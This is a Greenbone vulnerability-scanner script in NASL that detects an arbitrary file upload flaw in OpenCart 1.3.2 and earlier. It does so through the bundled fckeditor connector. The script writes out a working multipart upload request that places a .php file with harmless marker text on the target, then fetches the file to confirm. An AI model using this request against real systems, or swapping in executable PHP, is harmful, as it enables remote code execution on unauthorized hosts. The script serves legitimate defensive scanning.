OpenCart <= 1.3.2 'fckeditor' Arbitrary File Upload Vulnerability

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:opencart:opencart";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100816");
  script_version("2025-01-31T05:37:27+0000");
  script_tag(name:"last_modification", value:"2025-01-31 05:37:27 +0000 (Fri, 31 Jan 2025)");
  script_tag(name:"creation_date", value:"2010-09-21 16:24:40 +0200 (Tue, 21 Sep 2010)");
  script_tag(name:"cvss_base", value:"4.6");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:H/Au:S/C:P/I:P/A:P");

  script_name("OpenCart <= 1.3.2 'fckeditor' Arbitrary File Upload Vulnerability");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"qod_type", value:"remote_app");

  script_category(ACT_ATTACK);

  script_family("Web application abuses");
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_dependencies("gb_opencart_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("opencart/http/detected");

  script_tag(name:"summary", value:"OpenCart is prone to an arbitrary file upload vulnerability
  because it fails to properly sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends multiple crafted HTTP requests and checks the
  responses.");

  script_tag(name:"impact", value:"An attacker may leverage this issue to upload arbitrary files to
  the affected host. This can result in arbitrary code execution within the context of the
  vulnerable application.");

  script_tag(name:"affected", value:"OpenCart versions up to 1.3.2 are known to be affected. Other
  versions may also be affected.");

  script_tag(name:"solution", value:"Update to version 1.3.3 or later. Make sure the directory
  /admin/view/javascript/fckeditor/ is deleted during the update.");

  script_xref(name:"URL", value:"https://web.archive.org/web/20210121201039/http://www.securityfocus.com/bid/43325");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

host = http_host_name(port:port);

file = string("vt-upload-test-delete-me-", rand(), ".php");
url = dir + "/admin/view/javascript/fckeditor/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=%2F";

useragent = http_get_user_agent();

req = string("POST ", url, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "User-Agent: ", useragent, "\r\n",
             "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n",
             "Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3\r\n",
             "Accept-Encoding: gzip,deflate\r\n",
             "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n",
             "Keep-Alive: 115\r\n",
             "Connection: keep-alive\r\n",
             "Referer: http://", host, "/", dir, "//admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html\r\n",
             "Content-Type: multipart/form-data; boundary=---------------------------1179981022663023650735134601\r\n",
             "Content-Length: 275\r\n",
             "\r\n",
             "-----------------------------1179981022663023650735134601\r\n",
             "Content-Disposition: form-data; name='NewFile'; filename='", file, "'\r\n",
             "Content-Type: text/plain\r\n",
             "\r\n",
             "VT-Upload-Test\r\n",
             "\r\n",
             "-----------------------------1179981022663023650735134601--\r\n",
             "\r\n\r\n");
recv = http_keepalive_send_recv(data:req, port:port, bodyonly:TRUE);

if("OnUploadCompleted" >< recv && file >< recv) {

  url2 = dir + "/admin/view/javascript/fckeditor/editor/filemanager/connectors/php/" + file;
  req2 = http_get(item:url2, port:port);
  recv = http_keepalive_send_recv(data:req2, port:port, bodyonly:TRUE);

  if("VT-Upload-Test" >< recv) {
    report = http_report_vuln_url(port:port, url:url);
    report += '\n\nIt was possible to upload the file "' + dir + file + '". Please delete this file.';
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);